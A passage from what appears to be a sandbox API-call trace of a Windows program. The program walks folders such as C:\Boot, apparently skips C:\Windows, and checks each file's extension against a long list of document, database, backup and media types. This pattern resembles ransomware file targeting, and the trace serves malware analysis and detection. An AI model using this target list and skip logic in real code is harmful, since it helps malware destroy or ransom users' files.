lpString2="ini") returned -1 [0044.126] lstrlenW (lpString=".asa") returned 4 [0044.126] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".asc") returned 4 [0044.126] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".ascx") returned 5 [0044.126] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0044.126] lstrlenW (lpString=".asm") returned 4 [0044.127] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".asmx") returned 5 [0044.127] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0044.127] lstrlenW (lpString=".asp") returned 4 [0044.127] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".aspx") returned 5 [0044.127] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0044.127] lstrlenW (lpString=".asr") returned 4 [0044.127] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".asx") returned 4 [0044.127] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".avi") returned 4 [0044.127] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".avs") returned 4 [0044.127] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".backup") returned 7 [0044.127] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0044.127] lstrlenW (lpString=".bak") returned 4 [0044.127] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0044.127] lstrlenW (lpString=".bay") returned 4 [0044.128] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".bd") returned 3 [0044.128] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0044.128] lstrlenW (lpString=".bin") returned 4 [0044.128] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".bmp") returned 4 [0044.128] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".bz2") returned 4 [0044.128] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".c") returned 2 [0044.128] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0044.128] lstrlenW (lpString=".cdr") returned 4 [0044.128] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".cer") returned 4 [0044.128] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0044.128] lstrlenW (lpString=".cf") returned 3 [0044.128] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0044.128] lstrlenW (lpString=".cfc") returned 4 [0044.128] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".cfm") returned 4 [0044.129] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".cfml") returned 5 [0044.129] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0044.129] lstrlenW (lpString=".cfu") returned 4 [0044.129] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".chm") returned 4 [0044.129] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".cin") returned 4 [0044.129] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".class") returned 6 [0044.129] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0044.129] lstrlenW (lpString=".clx") returned 4 [0044.129] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".config") returned 7 [0044.129] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0044.129] lstrlenW (lpString=".cpp") returned 4 [0044.129] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0044.129] lstrlenW (lpString=".cr2") returned 4 [0044.129] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".crt") returned 4 [0044.130] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".crw") returned 4 [0044.130] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".cs") returned 3 [0044.130] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0044.130] lstrlenW (lpString=".css") returned 4 [0044.130] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".csv") returned 4 [0044.130] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".cub") returned 4 [0044.130] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".dae") returned 4 [0044.130] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".dat") returned 4 [0044.130] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0044.130] lstrlenW (lpString=".db") returned 3 [0044.130] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0044.130] lstrlenW (lpString=".dbf") returned 4 [0044.131] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0044.131] lstrlenW (lpString=".dbx") returned 4 [0044.131] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0044.131] lstrlenW (lpString=".dc3") returned 4 [0044.131] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0044.131] lstrlenW (lpString=".dcm") returned 4 [0044.131] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".dcr") returned 4 [0044.132] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".der") returned 4 [0044.132] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".dib") returned 4 [0044.132] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".dic") returned 4 [0044.132] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".dif") returned 4 [0044.132] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".divx") returned 5 [0044.132] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0044.132] lstrlenW (lpString=".djvu") returned 5 [0044.132] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0044.132] lstrlenW (lpString=".dng") returned 4 [0044.132] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".doc") returned 4 [0044.132] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0044.132] lstrlenW (lpString=".docm") returned 5 [0044.132] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0044.133] lstrlenW (lpString=".docx") returned 5 [0044.133] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0044.133] lstrlenW (lpString=".dot") returned 4 [0044.133] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0044.133] lstrlenW (lpString=".dotm") returned 5 [0044.133] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0044.133] lstrlenW (lpString=".dotx") returned 5 [0044.133] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0044.133] lstrlenW (lpString=".dpx") returned 4 [0044.133] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0044.133] lstrlenW (lpString=".dqy") returned 4 [0044.133] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0044.133] lstrlenW (lpString=".dsn") returned 4 [0044.133] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0044.133] lstrlenW (lpString=".dt") returned 3 [0044.133] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0044.133] lstrlenW (lpString=".dtd") returned 4 [0044.133] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0044.133] lstrlenW (lpString=".dwg") returned 4 [0044.134] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".dwt") returned 4 [0044.134] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".dx") returned 3 [0044.134] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0044.134] lstrlenW (lpString=".dxf") returned 4 [0044.134] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".edml") returned 5 [0044.134] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0044.134] lstrlenW (lpString=".efd") returned 4 [0044.134] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".elf") returned 4 [0044.134] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".emf") returned 4 [0044.134] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".emz") returned 4 [0044.134] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".epf") returned 4 [0044.134] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0044.134] lstrlenW (lpString=".eps") returned 4 [0044.134] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".epsf") returned 5 [0044.135] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0044.135] lstrlenW (lpString=".epsp") returned 5 [0044.135] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0044.135] lstrlenW (lpString=".erf") returned 4 [0044.135] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".exr") returned 4 [0044.135] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".f4v") returned 4 [0044.135] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".fido") returned 5 [0044.135] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0044.135] lstrlenW (lpString=".flm") returned 4 [0044.135] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".flv") returned 4 [0044.135] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".frm") returned 4 [0044.135] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0044.135] lstrlenW (lpString=".fxg") returned 4 [0044.136] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".geo") returned 4 [0044.136] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".gif") returned 4 [0044.136] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".grs") returned 4 [0044.136] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".gz") returned 3 [0044.136] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0044.136] lstrlenW (lpString=".h") returned 2 [0044.136] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0044.136] lstrlenW (lpString=".hdr") returned 4 [0044.136] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".hpp") returned 4 [0044.136] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".hta") returned 4 [0044.136] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".htc") returned 4 [0044.136] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0044.136] lstrlenW (lpString=".htm") returned 4 [0044.137] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0044.137] lstrlenW (lpString=".html") returned 5 [0044.137] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0044.137] lstrlenW (lpString=".icb") returned 4 [0044.137] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0044.137] lstrlenW (lpString=".ics") returned 4 [0044.137] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0044.137] lstrlenW (lpString=".iff") returned 4 [0044.137] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0044.137] lstrlenW (lpString=".inc") returned 4 [0044.137] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0044.137] lstrlenW (lpString=".indd") returned 5 [0044.137] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0044.137] lstrlenW (lpString=".ini") returned 4 [0044.137] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0044.137] FindNextFileW (in: hFindFile=0x61b4d0, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0044.137] FindClose (in: hFindFile=0x61b4d0 | out: hFindFile=0x61b4d0) returned 1 [0044.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ea0048 | out: hHeap=0x5c0000) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0044.138] FindClose (in: hFindFile=0x61b490 | out: hFindFile=0x61b490) returned 1 [0044.138] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x36b1300 | out: hHeap=0x5c0000) returned 1 [0044.138] FindNextFileW (in: hFindFile=0x61b450, lpFindFileData=0x3a5fd00 | out: lpFindFileData=0x3a5fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0044.138] lstrlenW (lpString="C:\\Boot") returned 7 [0044.138] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0044.138] lstrlenW (lpString="Boot") returned 4 [0044.138] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0044.138] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3ea0048 [0044.138] lstrlenW (lpString="C:\\Boot") returned 7 [0044.138] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.640] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.641] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0044.641] lstrlenW (lpString="BCD") returned 3 [0044.641] lstrlenW (lpString=".1cd") returned 4 [0044.641] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".3ds") returned 4 [0044.641] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".3fr") returned 4 [0044.641] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".3g2") returned 4 [0044.641] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".3gp") returned 4 [0044.641] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".7z") returned 3 [0044.641] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0044.641] lstrlenW (lpString=".accda") returned 6 [0044.641] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".accdb") returned 6 [0044.641] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0044.641] lstrlenW (lpString=".accdc") returned 6 [0044.642] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".accde") returned 6 [0044.642] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".accdt") returned 6 [0044.642] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".accdw") returned 6 [0044.642] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".adb") returned 4 [0044.642] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".adp") returned 4 [0044.642] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".ai") returned 3 [0044.642] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0044.642] lstrlenW (lpString=".ai3") returned 4 [0044.642] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".ai4") returned 4 [0044.642] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0044.642] lstrlenW (lpString=".ai5") returned 4 [0044.642] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".ai6") returned 4 [0044.643] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".ai7") returned 4 [0044.643] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".ai8") returned 4 [0044.643] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".anim") returned 5 [0044.643] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".arw") returned 4 [0044.643] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".as") returned 3 [0044.643] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0044.643] lstrlenW (lpString=".asa") returned 4 [0044.643] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".asc") returned 4 [0044.643] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".ascx") returned 5 [0044.643] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".asm") returned 4 [0044.643] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0044.643] lstrlenW (lpString=".asmx") returned 5 [0044.644] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".asp") returned 4 [0044.644] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".aspx") returned 5 [0044.644] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".asr") returned 4 [0044.644] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".asx") returned 4 [0044.644] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".avi") returned 4 [0044.644] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".avs") returned 4 [0044.644] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".backup") returned 7 [0044.644] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".bak") returned 4 [0044.644] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0044.644] lstrlenW (lpString=".bay") returned 4 [0044.644] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".bd") returned 3 [0044.645] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0044.645] lstrlenW (lpString=".bin") returned 4 [0044.645] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".bmp") returned 4 [0044.645] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".bz2") returned 4 [0044.645] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".c") returned 2 [0044.645] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0044.645] lstrlenW (lpString=".cdr") returned 4 [0044.645] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".cer") returned 4 [0044.645] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".cf") returned 3 [0044.645] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0044.645] lstrlenW (lpString=".cfc") returned 4 [0044.645] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0044.645] lstrlenW (lpString=".cfm") returned 4 [0044.645] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0044.646] lstrlenW (lpString=".cfml") returned 5 [0044.646] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0044.646] lstrlenW (lpString=".cfu") returned 4 [0044.646] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0044.646] lstrlenW (lpString=".chm") returned 4 [0044.646] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0044.646] lstrlenW (lpString=".cin") returned 4 [0044.646] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0044.646] lstrlenW (lpString=".class") returned 6 [0044.647] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".clx") returned 4 [0044.647] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".config") returned 7 [0044.647] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".cpp") returned 4 [0044.647] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".cr2") returned 4 [0044.647] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".crt") returned 4 [0044.647] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".crw") returned 4 [0044.647] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".cs") returned 3 [0044.647] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0044.647] lstrlenW (lpString=".css") returned 4 [0044.647] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0044.647] lstrlenW (lpString=".csv") returned 4 [0044.647] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".cub") returned 4 [0044.648] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dae") returned 4 [0044.648] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dat") returned 4 [0044.648] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".db") returned 3 [0044.648] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0044.648] lstrlenW (lpString=".dbf") returned 4 [0044.648] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dbx") returned 4 [0044.648] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dc3") returned 4 [0044.648] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dcm") returned 4 [0044.648] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".dcr") returned 4 [0044.648] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0044.648] lstrlenW (lpString=".der") returned 4 [0044.649] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".dib") returned 4 [0044.649] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".dic") returned 4 [0044.649] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".dif") returned 4 [0044.649] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".divx") returned 5 [0044.649] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".djvu") returned 5 [0044.649] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".dng") returned 4 [0044.649] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".doc") returned 4 [0044.649] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".docm") returned 5 [0044.649] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0044.649] lstrlenW (lpString=".docx") returned 5 [0044.649] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dot") returned 4 [0044.650] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dotm") returned 5 [0044.650] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dotx") returned 5 [0044.650] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dpx") returned 4 [0044.650] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dqy") returned 4 [0044.650] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dsn") returned 4 [0044.650] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dt") returned 3 [0044.650] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0044.650] lstrlenW (lpString=".dtd") returned 4 [0044.650] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dwg") returned 4 [0044.650] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dwt") returned 4 [0044.650] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0044.650] lstrlenW (lpString=".dx") returned 3 [0044.651] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0044.651] lstrlenW (lpString=".dxf") returned 4 [0044.651] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".edml") returned 5 [0044.651] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".efd") returned 4 [0044.651] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0044.651] lstrlenW (lpString=".elf") returned 4 